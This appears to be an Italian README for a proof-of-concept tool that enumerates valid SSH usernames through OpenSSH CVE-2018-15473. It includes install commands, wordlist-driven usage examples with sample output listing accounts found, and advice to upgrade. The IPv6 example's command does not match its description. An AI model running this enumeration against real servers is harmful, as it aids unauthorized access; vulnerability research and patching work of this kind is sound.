1stpeak/cve-2018-15473Proof-of-concept per l'enumerazione degli username SSH per OpenSSH CVE-2018-15473. Supporta threading, wordlist, IPv6 e rilevamento di account validi su server vulnerabili.
Il server OpenSSH non ritarda il trattamento di un utente non valido prima di analizzare completamente un pacchetto contenente una richiesta. La vulnerabilità è correlata a auth2-gss.c, auth2-hostbased.c, auth2-pubkey.c.
Sebbene la vulnerabilità non possa essere utilizzata per generare un elenco di nomi utente validi, può comunque essere sfruttata per enumerare e indovinare i nomi utente.
OpenSSH <= 7.7
openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27
Potrebbe essere necessario installare il pacchetto equivalente a openssl-dev per la propria distribuzione.
# Nota: se si installa su Kali, è possibile saltare l'installazione pip ed eseguire solo i primi tre passaggi perché paramiko è già presente.
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt
# Oppure scaricare e installare con il seguente comando
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
Esempio 1: Enumerazione di un singolo utente
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!
Esempio 2: Enumerazione di più utenti con 10 thread (thread predefiniti = 4)
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
ecc.
Esempio 3: Indirizzo IPv6 con porta SSH specificata
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
ecc.
Si consiglia di aggiornare a una versione non affetta. Il progetto OpenBSD ha già rilasciato una correzione del codice sorgente al seguente link: https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
https://github.com/epi052/cve-2018-15473
http://blog.nsfocus.net/openssh-cve-2018-15919/